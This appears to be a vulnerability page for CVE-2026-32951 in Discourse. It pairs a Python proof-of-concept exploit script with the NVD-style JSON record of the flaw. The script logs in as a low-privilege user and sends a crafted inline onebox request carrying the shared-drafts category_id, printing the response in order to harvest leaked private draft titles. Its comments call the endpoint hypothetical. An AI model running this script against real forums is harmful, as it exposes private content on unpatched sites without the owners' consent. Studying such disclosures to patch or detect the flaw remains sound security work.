CVE-2026-32951

import requests # Target configuration target_url = "http://discourse-instance.com" login_url = f"{target_url}/session" # Hypothetical endpoint based on vulnerability description onebox_endpoint = f"{target_url}/onebox" # User credentials (Low privilege user) username = "attacker" password = "password" session = requests.Session() # 1. Authenticate to the application login_payload = { "login": username, "password": password } # Note: Actual implementation might require CSRF tokens login_resp = session.post(login_url, data=login_payload) if login_resp.status_code != 200: print("Login failed") exit() # 2. Exploit: Send inline onebox request with the vulnerable category_id # The attacker needs to know or guess the ID of the shared drafts category shared_draft_category_id = "<SHARED_DRAFT_CATEGORY_ID>" exploit_params = { "url": "https://example.com", # Valid URL to trigger onebox generation "category_id": shared_draft_category_id # The vulnerable parameter } print(f"Sending request to {onebox_endpoint} with params: {exploit_params}") response = session.get(onebox_endpoint, params=exploit_params) # 3. Analyze response for leaked draft titles if response.status_code == 200: print("[+] Request successful. Check response content for leaked draft titles:") print(response.text) else: print("[-] Exploit request failed or endpoint not found.")

{"cve": {"id": "CVE-2026-32951", "sourceIdentifier": "[email protected]", "published": "2026-03-31T18:16:51.530", "lastModified": "2026-04-09T15:32:00.633", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Discourse is an open-source discussion platform. From versions 2026.1.0-latest to before 2026.1.3, 2026.2.0-latest to before 2026.2.2, and 2026.3.0-latest to before 2026.3.0, an authenticated user can obtain shared draft topic titles by sending an inline onebox request with a category_id parameter matching the shared drafts category. This issue has been patched in versions 2026.1.3, 2026.2.2, and 2026.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:latest:*:*:*", "versionStartIncluding": "2026.1.0", "versionEndExcluding": "2026.1.3", "matchCriteriaId": "F64DA8FA-BC32-4EB9-B508-6425684D3245"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:latest:*:*:*", "versionStartIncluding": "2026.2.0", "versionEndExcluding": "2026.2.2", "matchCriteriaId": "26546710-17B3-4C72-930F-3BE0AD969127"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:*", "matchCriteriaId": "E3FE9277-4F6B-4FD0-991F-F0FB8D226E1C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest.1:*:*:*", "matchCriteriaId": "DFA536C2-E9D9-4A03-89C2-C344DE682EA1"}]}]}], "references": [{"url": "https://github.com/discourse/discourse/commit/0b4e6ff170362823d1cfe2a1a096785d0d77ee83", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/discourse/discourse/security/advisories/GHSA-v93g-8f4f-4rgm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}